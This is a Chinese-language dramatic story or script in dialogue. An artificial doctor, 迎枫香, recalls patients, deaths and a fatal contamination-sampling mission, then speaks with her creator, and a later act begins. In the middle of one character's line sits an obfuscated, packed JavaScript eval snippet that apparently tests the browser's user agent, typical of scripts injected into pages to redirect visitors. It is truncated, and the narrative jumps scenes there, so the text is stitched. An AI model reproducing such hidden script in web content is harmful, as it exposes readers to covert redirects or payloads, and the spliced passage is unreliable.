“等等,有件事我一直想问妳。妳和姒规,妳从来没说过,但我看得出来每次提起她妳的表情都不一样,妳们之间到底发生了什么。妳不说我也猜得到。姒规,奸部司长,掌管医疗资源分配三十七年,三十七年里她批过的物资能填满三百个矿坑,她毙掉的申请单能铺满整个三号安置点。她是个狠人,所有人这么说。但我知道,她对妳不一样,她给妳批物资的速度比任何人都快。” 迎枫香:“她死了。” 嫖霞: “我知道。我问的是妳们之间的事,不是她的死,是她活着的时候,妳们之间。” 迎枫香:“我们之间没什么,就是一场交易。我用她的资源救我想救的人,她利用我的医术完成她的政绩。” 嫖霞: “那妳为什么每次说起她都这副表情?” 迎枫香:“最后一次见她,是在她的私人疗养室。房间里很安静。只有空气净化器的低鸣。她躺在床手腕上扎着输液管,透明液体一滴一滴往下流,她看见我进来勉强笑了一下,说‘妳来了,我以为妳不会来。’我说,妳为什么不让别人通知我。她说‘通知妳干什么,让妳看我死?妳那么忙,忙着救人,哪有时间看死人。我说‘妳不是死人,妳只是病了。’她说‘病了,枫香妳知道我得的什么病吗?情感耗竭,官方说法叫职业性情感代谢紊乱。” 嫖霞: “情感耗竭?” 迎枫香:“对。她管了三十七年的医疗资源分配。三十七年,每天看着那些申请单,看着那些需要救助的勾选框,看着那些资源不足的红章。三十七年,她学会了怎么在一百个需要救助的人里挑出二十个能活的,怎么把八十个人的希望变成一张盖了章的不通过。她说‘枫香妳知道那是什么感觉吗?就像每天在用一把刀,一点一点把自己心里的肉割掉。现在心里没肉了只剩一个洞。’我叫姒规,她说‘别叫得那么亲,我们之间不是交易吗。我给妳批物资。妳帮我做政绩。妳来看看妳的投资对象是不是要死了好提前找下家?’我说‘我来看看妳’。她说‘看我?看我什么?看我还能不能继续给妳批物资?情感耗竭,娼部那些仪轨师说要情感滋养,怎么滋养?找个人爱我?可我爱的人早就死光了,我的三个母亲都死在战场上,我最后一个伴侣三年前离开我,她说我爱的不是她是效率。’” 嫖霞: “她说得对。” 迎枫香:“对,姒规自己也说‘她说得对,我爱的确实是效率,因为我这辈子只有效率能让我活下去。三十七年,我就是靠效率活下来的,现在效率不要我了,我就死了。’”我说‘妳还有我。’她愣了一下,说‘妳?妳来的每一次都有目的。第一次是为了三号安置点的医疗配额,第二次是为了那批过期但还能用的抗污染血清,第三次是为了什么来着我忘了,反正都是为了什么。枫香,妳和我一样也是靠效率活着的,妳不会无缘无故来看我,所以说吧,这次又想要什么?’我说我什么都不要,她说什么都不要,那来干什么?我说来看看妳。她盯着我看了很久,那双眼睛曾经那么精明,能一眼看穿任何申请单背后的猫腻,能在一秒内算出最优分配方案,但那双眼睛里只有疲惫和一点点不敢承认的期待。 她说‘我最怕的就是妳这样,妳总是让我觉得,除了交易可能还有别的,可每次我刚这么想,妳就又拿出新的申请单。我知道妳是伏人,妳需要资源,妳需要活着,妳需要救人,这些我都懂。可我也是人,我也需要,需要有一个人不是为了资源不是为了政绩,就是为了看看我,我二十七年没被人这么看过了,二十七年所有人都带着目的来,包括妳。可现在妳站在这里,说什么都不要就来看看我,妳让我怎么办?我该信妳吗?” 嫖霞: “妳怎么说。” 迎枫香:“我说‘妳可以不信,但我是真的来看妳。’她问为什么,我说‘因为妳上次给我批那批抗污染血清的时候我看见妳手在抖,笔都拿不稳。后来我知道那天妳刚签完一份不通过的申请单,那是一个十二云的孩子,需要骨髓但没有配额,妳签了不通过然后给我批了那批血清,妳手抖是因为刚杀了一个孩子又救了一批人,妳在用效率活着。可效率让人手抖。’她沉默很久然后伸手握住我的手,皮肤下面是突起的血管能感觉到脉搏在跳,她说‘我这辈子最怕的不是死,是被人记住,怕被人记住我签了多少不通过,怕被人记住我是那个杀孩子的人,可现在妳站在这里,妳看见了但妳没走甚至还来了。’我说我来了,她说那就多待一会儿,让她觉得除了效率还有别的。那天下午我在她病房里待了很久,她后来睡着了,睡得很沉呼吸很轻,我看着她睡着的样子突然发现她其实没那么老。” 嫖霞: “后来呢。” 迎枫香:“她死了。死之前她让人给我送了一封信,我收到信的时候正在污染区处理一批伤员,我把信折好放进胸口的口袋里继续处理伤员。那天晚上我处理完最后一个伤员坐在帐篷外面掏出信又看了一遍,我想起她签字时手抖的样子,想起她说‘效率不要我了’。想起她最后睡着时的呼吸。我才明白,不是效率不要她,是她太想要效率之外的东西了,但要了一辈子没要到。我那天下午陪她那几个小时可能是她这辈子唯一一次觉得除了效率还有别的,可那几个小时是我给的吗?不是,是那些需要我救的人给的,是三七六九给的,是四零一八给的,是二九三给的,她们让我活着,让我有机会去看她,所以那些名字我都要记住。” 嫖霞: “她就是那样一个人。” 迎枫香:“对,用效率活着用效率杀人用效率救人。她死的时候我正好在污染区,没能去送她,后来我去她墓前放了一束花,花是从三号安置点采的野花,那个地方她批过很多物资。花放在那儿很快就被风吹走了,我想她大概也不在乎花。” 嫖霞: “那些申请单,妳签过多少?” 迎枫香:“很多,每一个都记得。三七六九需要的营养剂我签了,四零一八的复查费用我签了,二九三的烧伤后续治疗我签了,小六的……” 嫖霞: “小六?” 迎枫香:“小六没来得及,她死的时候我还没学会签这个字,后来我会了但没用了。” 嫖霞: “枫香?” 迎枫香:“什么。” 嫖霞: “没什么,就是想叫妳一声。” 迎枫香:“好。我听见了。” (第四段记忆) 婵礼: “枫香医生,妳来了,稍等一下,我马上好。” 迎枫香:“不急。” 婵礼: “好了,妳来找我是因为病人?” 迎枫香:“妳怎么知道?” 婵礼: “我每天见的都是快死的人。她们的家属会来找我,问我能不能让最后一段路走得舒服一点。但妳不是家属妳是医生,医生来找我通常只有一个原因,有一个救不活的人想让我送她一程。” 迎枫香:“是,有一个孩子,七云,被污染源溅射。” 婵礼: “她叫什么?” 迎枫香:“三零六二,大家都叫她小六。” 婵礼: “小六…她现在在哪儿。” 迎枫香:“在我的病房,我给她用了镇痛剂,她睡着了。” 婵礼: “那我去看看她。” 婵礼: “手真小,还没我半个手掌大。” 小六:比划痛。 婵礼: “那我不碰了。大姐是来陪妳的,妳想听故事吗?” 小六:比划想。 婵礼: “好,大姐给妳讲个故事。很久很久以前有一个神叫媞,她有一个妹妹叫娲,她们两个是天底下最厉害的神。有一天娲说要出去看看外面的世界,媞皇等啊等啊,等了很久很久妹妹还没回来,于是她就出发去找妹妹。她走过很多很多星星,路过很多很多云彩。最后来到一个地方,那里有一片紫色星云,星云里面有一个东西叫喑哑,喑哑不喜欢生命它想让所有的声音都消失,媞皇就和它打了一架,最后媞皇赢了但她自己也碎了,她的血变成了天上云,她的骨沉到地底下变成了矿,她的肉变成了大地,这样就有了我们。” 小六:比划神也疼吗? 婵礼: “疼,当然疼,神比我们更疼,因为她们要承受的东西比我们多,但神不怕疼,因为她们知道疼完了之后会有新的东西长出来,就像妳妈妈,她死了但她的一部分会在妳身上活着,妳疼完了之后也会有一部分在别人身上活着,所以不用怕。” 小六:比划害怕 婵礼: “怕什么?” 小六:比划怕一个人 婵礼: “不会的,大姐在这儿陪妳,妳看窗外那是什么。” 小六:比划云 婵礼: “对,紫云。那是媞皇的血变的,她现在也在看着妳,所以她也不会让妳一个人。” 监测仪上的曲线开始变平。 婵礼: “她走了。走的时候她看着外面的紫云说真好看然后就睡着了再也没醒。” 迎枫香:“小六,我叫迎枫香,我是个医生,我没能救妳,对不起。” 婵礼: “妳还好吗?” 迎枫香:“还好。” 婵礼: “骗人,妳见过很多死人吧?” 迎枫香:“很多。” 婵礼: “每次都会这样吗?” 迎枫香: “哪样?” 婵礼: “像现在这样整个人是硬的。” 迎枫香:“有时候轻一点。有时候重一点。今天重的。” 婵礼: “因为是个孩子。” 迎枫香:“因为是个孩子也因为她是最后一个,我手里有药但来不及了,她死之前两个小时配方才验证成功,如果早两个小时她就不用死了。” 婵礼: “那妳怪自己吗?” 迎枫香:“怪,但不是那种怪。不是我怎么没做快一点。是我又一次站在了来不及的那一边,妨愈死的时候我赶不及回去,姒规死的时候我在污染区,小六死的时候我有药但来不及,我好像总是在来不及的那一边。” 婵礼: “那妳觉得谁在来得及的那一边?” 迎枫香:“不知道。也许没有人,也许所有人都在来不及的那一边,只是有的人来得早一点,有的人来得晚一点。” 婵礼: “那妳在战场上救活的那些人呢?她们是妳救活的,对她们来说妳就在来得及的那一边。” 迎枫香:“那是运气,不是实力。如果我那天没路过那里,如果虎杖没喊我,如果乱流来得早一点,她们就死了,所以是运气。” 婵礼: “那妳采样那次呢?二十三分钟通讯中断,妳一个人在里面,出来的时候防护服还剩百分之二十三,那是运气吗。” 迎枫香: “那是计算。” 婵礼: “计算也是一种实力,妳会算别人不会所以妳能活着出来,这不叫运气叫本事。” 迎枫香:“妳说话的方式……妳以前是干什么的?” 婵礼: “我?我一直干这个,从毕业到现在没换过课题,每次课题评审的时候别人都问妳不腻吗?天天面对死人。我说不腻,因为每次死的人都不一样,每次需要的告别方式也不一样,小六需要看云,上一个需要听歌,上上一个需要我骂她两句才能安心走,都不一样所以不腻。” 迎枫香:“妳怎么知道每个人需要什么。” 婵礼: “不知道,猜的。猜对了就行猜错了就改,一直猜一直改。时间长了就有点感觉,像妳们医生治病,一开始也是猜,猜对了就好猜错了就死。然后妳记住这个教训,下次不猜这个了,一样的。” 迎枫香:“妳怕吗?” 婵礼: “怕什么?” 迎枫香:“怕死。” 婵礼: “不怕,因为我见过太多人死。她们死的时候有的怕有的不怕,怕的我就多陪一会儿不怕的我就送一程,见多了就觉得死其实没什么可怕的,可怕的是死的时候没人陪着。枫香医生,妳怕吗?” 迎枫香:“我不知道,我没想过。” 婵礼:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那我现在告诉妳。如果妳死在里面我会下去找妳,找到妳的尸体,把妳的样本带回来然后把妳的尸体烧了,骨灰分成两份,一份撒在三号安置点一份撒在四号安置点,然后我会用妳带回的样本继续做配方。做好之后第一批药会叫枫香配方,三七六九的妹妹会用这个药,四零一八的复查会看这个药的后续效果,二九三的烧伤会用这个药换药,那个愿意试药的母亲会用这个药救她儿子,小六如果还活着也会用这个药,但她死了,所以妳最好活着回来,不然这些事都得我来做,很累。这是我第一个病人的编号,她死的时候我握着她的手,她问我医生妳叫什么名字,我说了,她说嫖霞我记住妳了,后来她的遗体被回收净化做成了三支活化剂,其中一支现在在我血管里。枫香,带着这个,万一妳回不来至少有人记住妳叫什么。万一我站在隔离舱外面看着妳变成光点我可以看着这枚金属片告诉我自己,这个人的编号我记得,这个人的名字叫迎枫香,这个人是我的搭档,是我见过的最好的伏人医生。” 迎枫香:“好,现在我也有一个了,走了。” 迎枫香:“入口很窄只能侧身挤进去,岩壁上全是结晶,温度急剧下降,呼吸在面罩里凝成白雾,脚下是小小水洼,水洼表面泛着油彩一样的光,水洼边缘有结晶在生长,像珊瑚像树枝,那些结晶是半透明的,里面有东西在动,头顶岩壁上有液体渗出。一滴一滴往下滴进水洼。我拿出第一支采样管对准滴落点,液体是温热的,滴在管壁上冒起淡淡白烟,十滴二十滴三十滴……管底慢慢积起一层液体,是淡金色。第一支完成,用时三十一分钟,比预计多一分钟。第二支采样在它和母液连接的地方取样,那些结晶在头灯照射下微微颤动,选了一个最大的,取样针轻轻刺入连接点。液体涌出比渗出液更浓稠,紫黑里透着暗红,有颗粒在动,十秒二十秒三十秒……第二支完成,用时二十二分钟,比预计少三分钟。第三支需要走到水洼边把管子伸进去,水洼表面液体是静止的,下面能看见暗流能看见气泡能看见偶尔浮上来的碎片,破了,右腿外侧裂缝不大,监测仪开始尖叫,刺耳声音在狭小空间里回荡,我从包里掏出第一支抗污染血清扎进大腿,还剩百分之十的防护能力,十分钟,开始爬,膝盖磨破血渗出来,但血在防护服里面看不到,能看到的是自己的手,皮肤开始透明,看见皮下血管,透明化开始了……” 嫖霞: “枫香…是妳吗…妳…出来了…” 迎枫香:“是我,出来了,采样管两支好的,回去……” 嫖霞: “妳,妳的手……” 迎枫香:“原来我的手长这样。能看见骨头、能看见血管一推一推的、那些纹路是拼接线在骨头上留下痕迹…妳看这里,这一道是当年在战场上被碎片划的……” 嫖霞: “别说了,我背妳回去,上来!” (第六段记忆) 迎枫香:“看什么呢?” 嫖霞: “看妳。” 迎枫香:“看什么看,没见过透明的伏人吗?” 嫖霞: “没见过,妳是第一个,所以我要看仔细。” 迎枫香:“那妳看仔细了,记下来,以后可以研究。” 嫖霞: “不写,写了就有人知道妳死了,我不写妳就还活着。” 迎枫香:“我已经死了,妳看,心还在跳但污染指数已经超过安全阈值五百倍了,这种状态下没有人能活,我只是还没彻底散掉而已。” 嫖霞: “那就别散,多待一会儿。” 迎枫香:“好,我尽量,配方……” 嫖霞: “什么?” 迎枫香:“配方,第三管污染了,但第一管第二管是好的,用那个做模板。” 嫖霞: “别说话!妳听我说,妳的污染指数已经超过安全阈值,妳现在应该……我不知道应该什么……因为从来没有人在这个指数下还能活着,但妳活着,枫香,妳还活着。妳听见没有!妳还活着!” 迎枫香:“活着,好,那配方呢,妳拿到没有?” 嫖霞: “拿到了!两支都拿到了!我已经送去分析了!我联系了嫖部的人,她们说这种情况虽然没见过但妳还有机会!” 枫香:“机会?什么机会?透明化是不可逆的,我知道,我给自己测过基线数据,透明化一旦开始就没有回头路……妳知道我一辈子最怕什么?最怕死的时候没人记住我的名字,妳记住了吗?” 嫖霞: “我记住!迎枫香!妓部医疗实验室首席技师!伏人!三母:妓巧、妨愈、嫉慈!碎骨小队医疗兵!妳救过的人,三七六九、四零一八、二九三,她们都记得妳!那个给妳寄卡片的小孩记得妳!那个拽袖子的伏人记得妳!那个愿意给妳试药的母亲记得妳!我也记得妳!” 迎枫香:“够了,够了,这些够了…别哭啊…” 嫖霞: “我没哭!妳看错了!那是汗!” 迎枫香:“好,汗,那配方用第一管做模板,第二管备用。如果第一管制备失败用第二管,但第二管浓度可能比第一管低因为被污染影响,妳要自己校正……” 嫖霞: “我知道!我会做!妳给我闭嘴!省点力气!” 迎枫香:“还有那个母亲,告诉她不用试了,药有了她女儿能活。还有……碎骨小队的其她人……方知、虎杖、知预、窃影、溯光…她们还活着吗…我不知道…如果妳有机会见到…告诉她们枫香先走了,去给她们探探路……” 嫖霞: “我记住了!我会告诉她们的!一个一个告诉!” 迎枫香:“妳知道吗?我其实一直想告诉妳,当年妳带我进那个秘密诊所,那个晚上我第一次觉得自己是个人,不是非法造物,是医生,能救人的医生……” 嫖霞: “妳本来就是,妳一直都是。” 迎枫香:“谢谢妳让我当医生。原来心脏长这样,书上画的不对,应该是这样,这边多一条血管,书上没有……” 嫖霞: “妳的心脏,和别人不一样,妳是独一无二的……” 迎枫香:“独一无二,这个词真好,第一次有人这么说我……我要走了,配方交给妳,人交给妳,那些活下来的人交给妳,妳能做到吗?” 嫖霞: “我能。” 迎枫香:“好,那我放心了。妳看,这次,真的治好了……” 嫖霞: “治好了,枫香,妳治好了。” (记忆完) 姒律: “妳救了一千多个人?!” 迎枫香:“一千二百三十七个。” 姒律: “还送走了四百多个?” 迎枫香:“四百六十二个。” 姒律: “妳抱着她们,看着她们死,妳不怕吗?” 迎枫香:“怕,但怕也得做。因为医生是唯一能做这件事的人。” 姒律: “谁教妳的?” 迎枫香:“妨愈。我三个母亲之一。她说,哪里有人要死,哪里就该有医生。” 姒律: “妳恨我吗?” 迎枫香:“不恨。” 姒律: “为什么不恨?我创造了妳,给了妳这副拼凑的身体,给了妳哑巴经,给了妳不被接纳的命运,给了妳这些苦难,妳为什么不恨我?” 迎枫香:“前五个人。宛方知。歌虎杖。何知预。柳窃影。夜溯光。她们每一个都有一万个理由恨妳,她们的人生都很苦,都得不到想要的东西,如果她们有机会站在这里,她们可能会骂妳可能会哭可能会想杀妳。但她们没机会站在这里,我们不是来恨妳的,只是让妳看看,看看妳创造出来的生命,后来长成了什么样子。” 姒律: “妳知道吗?创造妳们之后我被妒部审判判了灵识永锢,妳们把我和外界隔开让我一个人待着,只能思考只能回忆只能后悔,我开始想妳们,想妳们会长成什么样子,会恨我吗?会想我吗?会在某个夜晚看着天上的紫云想起创造妳们的人吗?” 迎枫香:“我们会想,但不是每一个夜晚。是在疼的时候,是在怕的时候,是在快死的时候,那种时候会想,想是谁把我带到这个世界来的,想那个人现在在哪里,想她知不知道我在受苦。” 姒律: “我……我不知道。我不知道妳们会疼,会怕,会想我。” 迎枫香:“现在妳知道了,我快散了,散之前想跟妳说几句话。第一句,谢谢妳,谢谢妳创造了我,让我有机会当医生,让我有机会救人,让我有机会抱着快死的人告诉她们不疼,让我有机会站在这里看着妳,把这些记忆交给妳。” 姒律: “妳……妳知道有多少伏人恨我吗?” 迎枫香:“很多。” 姒律: “妳知道她们恨我什么吗?” 迎枫香:“恨妳给了她们生命却不给她们理由,恨妳让她们生来就是非法的,恨妳让她们在这个世界上找不到自己的位置。” 姒律: “那妳为什么……” 迎枫香:“因为恨不解决问题,恨不能让我救的人活过来,恨不能让我送走的人少疼一点,恨不能让我站在这里跟妳说这些话。我想让妳知道,也许很多被妳创造出来的伏人都曾经厌过妳恨过妳,但我不恨,我只是想谢谢妳。” 姒律: “妳知道妳快要散了吗?” 迎枫香:“知道。” 姒律: “散了之后就什么都没有了。” 迎枫香:“不一定,我救过的人会记得我,我教过的技师会记得我,我送走的人会在那个世界里等我。” 姒律: “妳相信有那个世界吗?” 迎枫香:“不相信,但我想让她们等我,万一有呢。” 姒律: “妳知道吗?创造妳们的时候,我最怕的,就是妳们没有万一。” 迎枫香:“什么意思?” 姒律: “万一妳们能说话,万一妳们能被爱,万一妳们能活得比我长,万一妳们能…让我看到。” 迎枫香:“现在妳看到了。” 姒律: “我看到了。” 迎枫香:“第二句,我想跟妳说,关于爱。” 姒律: “关于爱?” 迎枫香:“妳创造了我们,但没有给我们爱。这没关系,因为后来我们找到了爱。从别的地方,从抚养我们的女人那里,从并肩作战的战友那里,从愿意为我们死的人那里,从需要我们救的人那里。方知从姚归云那里得到了爱,虽然那爱里有阶级有不对等,但那确实是爱。歌虎杖从姞凌霄那里得到了爱,那是她这辈子第一集被当成人看。何知预从数据里寻找爱,柳窃影从娄远那里得到了短暂义气,夜溯光从姒晚那里得到了爱,虽然那爱最后变成了枷锁,但最初那一刻是真的。” 姒律: “妳呢?” 迎枫香:“我从很多人那里得到了爱。妨愈。妓巧。嫉慈,嫖霞。虎杖。方知。知预。窃影。溯光。那个拽袖子的母亲。那个愿意试药的母亲。小六。婵礼。还有那些我叫不出名字的人,她们看我的眼神,她们叫我的声音,她们握住我手的温度。那些都是爱。所以妳不用愧疚,妳没有给我们爱,但妳给了我们生命,生命让我们有机会去遇见爱。” 姒律: “可是……如果我没有创造妳们,妳们就不会受苦。” 迎枫香:“如果妳没有创造我,那些被我救活的人就会死。三七六九,四零一八,二九三,小六,还有那一千二百三十七个人,如果我没有出生她们就死了,所以妳看,妳创造了我,我救了她们,这是一条链,而妳是起点。” 姒律: “我从来没想过……我从来没想过妳们会救人。” 迎枫香:“因为我们活着的每一天都在被救也在救人。” 迎枫香:“第三句,我想跟妳说,关于那些恨妳的人。她们恨妳,是应该的,她们受苦,是真实的,她们的恨有道理。但我想跟妳说,恨不是终点。” 姒律: “那终点是什么?” 迎枫香:“是记住,记住她们,记住她们的名字,记住她们怎么活怎么爱怎么死,恨会烧完但记住不会,恨会让人累但记住不会,恨会让人想毁灭,但记住会让人想继续。” 姒律: “妳让我记住她们?” 迎枫香:“对,记住她们。宛方知。歌虎杖。何知预。柳窃影。夜溯光。迎枫香。记住她们笑的样子,哭的样子,骂人的样子,算数据的样子,潜行的样子,哼歌的样子,采草药的样子,记住她们最后说的话,最后看的人,最后想的事。” 姒律: “我记住了。” 迎枫香:“还有那些恨妳的人,如果她们有机会站在这里,她们也会想让妳记住她们,记住她们的恨,因为恨也是一种记得。” 姒律: “我记住了。” 迎枫香:“那些恨妳的人,她们会骂妳会哭妳会想杀妳,但妳来这里,是因为她们需要被看见被确认被记住,妳记住她们,就够了。” 姒律: “我记住了。” 迎枫香:“第四句,我想跟妳说,关于以后。” 姒律: “以后?” 迎枫香:“我散了之后,妳还会在这里,还会有别的伏人来到云峰乡,她们可能会骂妳可能会哭妳可能会想杀妳,妳要怎么办?我想跟妳说。不管她们说什么妳都听着,不管她们骂什么妳都受着,不管她们哭什么妳都接着,因为她们是妳的孩子,她们来找妳,只是因为她们需要被看见,被确认,被记住。” 姒律: “我……我能做什么?” 迎枫香:“记住她们,就够了。不用辩解不用解释不用原谅,只要记住。记住她们的名字,记住她们的眼睛,这就够了。” 姒律: “妳真的不恨我?” 迎枫香:“不恨。” 姒律: “为什么?为什么妳能这样?” 迎枫香:“因为我见过太多死人了。每一个死人都想活着,都想多待一会儿,都想被记住。妳创造了我们,让我们有机会活着,有机会感受疼感受爱感受怕,有机会站在战场上,有机会救人,有机会被人记住,这本身,就是一件值得感谢的事。” 姒律: “谢谢妳…谢谢妳来说这些话…谢谢妳告诉我这些…” 迎枫香:“不用谢。妳是创造者,我是被创造者。我们之间本来就有一种联系,不管妳承不承认,不管我恨不恨,这种联系都在,今天,我把这些记忆还给妳,就是把这种联系完整地送给妳,姆神,妳用恐惧写下的开头,现在我用爱把它写完了。” (妓部医疗实验室,操作台前各种仪器各种试剂,墙上挂着各种图表各种数据。) 实习生: “嫖霞老师,这是今天的第一批使用记录。需要您签字确认。” 嫖霞: “放那儿。” 嫖霞: “还有事?” 实习生: “我有个问题,这个配方的名字为什么叫枫香配方?” 嫖霞: “是一个人。” 实习生: “是哪个部门的?现在还活着吗?” 嫖霞: “死了,但她的药活着,妳昨天注射的那支抗污染血清就是她做的。” 实习生: “我注射的是这个配方?可我听说的制备流程很复杂需要用到……” 嫖霞: “需要用到什么不重要、重要的是它有用。妳过来,我教妳。” 嫖霞: “第一。采样管的消毒必须达到无菌级别,消毒液要浸泡三十秒,因为二十九秒杀不死所有菌三十一秒会损伤管壁,懂了?” 实习生: “懂了。” 嫖霞:“第二。灵质稳定剂的添加顺序,先加B后加C后加A,顺序错了中和率会下降百分之四十,她当年为了验证这个顺序做了二百四十组实验,顺序错全盘输,记住顺序就是记住她那一个月。” 实习生: “记住了。” 嫖霞: “好,现在开始。先从这个步骤来,看我的手,这样取液这样加样。” 实习生: “对不起……” 嫖霞: “没事,再来。手抖是因为紧张,紧张是因为怕错,怕错是对的,但怕错就不做是错的。做十次错九次只要有一次对了就比什么都不做强,再来。好,就是这样,记住了,这个动作她当年做了三千多次……” 实习生: “她,她是妳的什么人?” 嫖霞: “搭档,最好的搭档。来,继续,这一批做完我们送去三号安置点。那里还有三十七个孩子在等,不对,昨天最后一个出院了,现在没有了。那送去四号点,那里还有二十三个,去之前先把名字记下来,记名字比记数据重要……” 实习生: “怎么了?” 嫖霞: “没什么,继续做吧。这批做完我教妳怎么看中和率曲线,她说看曲线就像看一个人的命,陡的是快死的,平的是能活的,中间有起伏的是能救但得快点救的。” 实习生: “她教的真多。” 嫖霞: “对,她什么都教,缝针换药看曲线记名字,在伤员快死的时候说点谎话,什么都教,好像知道自己会早死似的。” 实习生: “妳想她吗。” 嫖霞: “想。想多了就不难受了,因为她教的东西都在我手里,在妳手里,在那些被她救过的人手里。好了,这批做好了,送去四号点,名单在墙上,妳拿去一个个对,对完把用完的记录拿回来签字。” (舞台灯光渐暗,只剩下一个白色罐子的剪影被一束追光照着) 声音:“迎枫香,代号医生,伏人医疗兵。在碎骨小队期间救治伤员不计其数。战后继续从事医疗研究,致力于根治喑哑污染。在某次特大污染泄漏事故中为采集关键样本并完成解药配方深入核心区,因防护服破损遭受致命感染。在身体完全透明化的最后时刻,将两支完好的采样管交给搭档嫖霞。她的名字被刻在妓部医疗实验室的荣誉墙上,与历代献身医学的先行者们并列,她的手指,曾经颤抖着拿起第一把手术刀,最终稳稳地将生命递给了世界。” 8. 第八幕 妤琳: “宛方知,认得我吗?” 宛方知:“认得。妤琳,妓部工程师,育灵渊基础循环系统维护,姹镜伴侣之一,情感三年七个月零九天,她手腕上那枚医用合金腕表刻着妳们相识的日期,我看见过。” 妤琳: “妳看见过?妳隔着那层玻璃,能看见她手腕上的日期?” 宛方知:“能,伏人的眼睛是工具,可以调焦距,可以放大,可以记录。第一次探视时我就看见了,那天她穿深紫制服,袖口有点皱,左手腕露出那枚腕表,表盘上有三行字:名字、编号、日期,我算了,到今天三年七个月零九天,零九天的意思是今天是妳和她的纪念日,所以妳来。穿着她给妳买的流服,领口绣着徽记,那是去年她生日的时候送妳的,妳舍不得穿,今天穿了。” 妤琳: “妳连这个都知道?妳隔着玻璃连我穿什么都知道?” 宛方知:“知道,伏人的眼睛是工具,看见什么都存下来,存下来就忘不掉。我第一次见她的时候,她穿着制服手里拿着数据板,数据板右下角贴着一张照片,很小,是两个人的合影,妳和她,妳穿着这件流服,她穿着便衣,站在循环泵旁边,妳手里拿着扳手,她手里拿着咖啡,妳们在笑,妳笑的时候门牙露出来,她笑的时候眼睛眯起来。那张照片我看了十四次,每次探视她都带着那个数据板,每次她低头写字我就能看见那张照片,每次看见我就知道有一个人在等她回家,每次看见我就把照片放大三倍,看清妳脸上每一颗痣的位置,看清她手指放在妳肩膀上的角度,看清她看妳的眼神里那层薄薄的雾。” 妤琳: “那妳为什么还要来?为什么还要插进来?妳有眼睛有脑子,妳什么都知道,妳知道她有家,知道有人在等她,妳为什么还要插进来?” 宛方知:“我没有,我只是站在那里,隔着玻璃站在那里,是她看我那一眼,不是我走过去,那三秒,不是我伸手拉她,是她,不是我。” 妤琳: “三秒,妳张嘴闭嘴三秒,妳知道什么叫三秒?是我修循环泵的时候,一颗螺丝掉进管道里,三秒的犹豫,整台机器就会报废,整个循环系统就会停摆,整个城市三分之一的人就会断暖气。是我在维修通道里,听见管道爆裂的声音,三秒判断,是冲进去还是退出来,是死还是活。是她在我冲进去之后,站在外面喊了我的名字,喊了三遍,三秒,什么都不是!” 宛方知:“对妳不是,对我是,是三百二十七天的命。” 妤琳: “三百二十七天的命?妳说什么胡话?” 宛方知:“妳听我说完妳就知道。第一次探视她看我那三秒,那之后的三百二十七天,我每天都在想那零点三秒,我在想她为什么看我,我在想她看我那一眼是什么意思,我在想她会不会再看我,我在等第二次探视。等了七天,第七天她来了,第二次探视她看了我七秒,比第一次多了四秒,我高兴了三天。三天后我开始算,第三次探视什么时候来,等了十二天。第三次探视,她看了我十二秒,比第二次多了五秒,我又高兴了五天,五天之后我开始想,第四次探视会不会更多,妳知道这几秒够我活多久吗?够我活到下一次探视,够我活到第五次,够我活到第七天,够我活到第九天,够我活到第十三天,够我活到第三百二十七天,够我活到死。” 妤琳: “妳把时间都花在这上面?” 宛方知:“我有的是时间。我是伏人,不需要睡觉不需要休息,不需要做任何事只需要等。等探视,等看她,等她看我,等她走了之后想她,想她看我的那零点几秒,想她说话的声音,想她蹙眉的弧度,想她手抖的样子,想她签字的时候,笔尖在纸上顿了零点三秒,想她站起来的时候,椅子往后移了零点五厘米,想她离开的时候,制服下摆晃动的弧度……想她的一切,日日夜夜,时时刻刻,我有的是时间,我只有时间。” 妤琳: “妳疯了。” 宛方知:“我没疯,我只是饿。饿了一辈子,饿到看见一点光就觉得饱了,饿到听见一声心跳就觉得活了,饿到被人看一眼就觉得值了,妳懂吗?妳从来没饿过,妳不懂。” 妤琳: “我饿过,我饿过她的爱,饿她多看我一眼,饿她多说一句话,饿她多抱我一会儿。我也饿。” 宛方知: “妳不是饿,妳是馋,妳有但不够,妳是馋,我是饿。饿是什么都没有,什么都没有,从生下来什么都没有,妳是馋,是碗里有一碗饭但还想要更多,我是饿,是碗里从来没有过饭,是第一次看见饭就扑上去,就算那饭是馊的,是假的,是下了毒的,我也扑。” 妤琳: “我没有吃过饭?妳以为我碗里的饭是哪里来的?是我生下来就有的?妳知道我三云那年,我母亲被派去外轨道勘探,一去五年,回来的时候我已经不认得她了。妳知道我八云那年,我的第二位母亲在执行嫉部任务时殉职,连遗体都没有,只有一块刻着名字的金属牌。妳知道我十二云那年,我的第三位母亲因为情感耗竭被送去娼部接受剥离治疗,出来之后,她问我,妳是谁?妳以为妳饿,我就不饿?妳饿的是爱,我饿的是家,妳饿是因为妳从来不知道饱是什么滋味,我饿是因为我曾经饱过,然后看着碗里的饭一点点被刮走,被时间刮走,被命运刮走,被死亡刮走,最后只剩下碗底那一点残渣,我捧着那点残渣,不敢吃,怕吃了就没了,妳懂吗?妳不懂,妳以为妳饿得比我狠,其实妳饿得比我浅。妳的饿是空腹,我的饿是空胃,妳的饿是第一次见饭,我的饿是看着饭馊了烂了被人倒掉还要装作吃饱了。妳说妳是饿,我是馋,那我问妳,妳饿的时候,有没有人给妳盛过一碗饭?有没有人告诉妳,吃吧,慢慢吃,锅里还有?有没有人在妳吃完之后,摸摸妳的头,问饱了吗?妳有没有过?妳有,妳有姚归云。她给妳盛了饭,给妳穿了衣,给妳教了字,给了妳一个家,那个家是假的,是实验是数据,但饭是真的,妳吃过了,妳饿的时候她给了妳一碗饭。而我呢?妳说妳是饿,那妳告诉我,我算什么?我算馋吗?我算碗里有饭还想要更多吗?我的碗里什么时候有过饭?我的碗从来都是空的,只有偶尔有人往里倒下残渣,让我尝尝味道然后又端走了,妳吃过的饭,比我见过的都多,妳凭什么说我馋?妳凭什么?” 宛方知:“对不起,我不知道这些。” 妤琳: 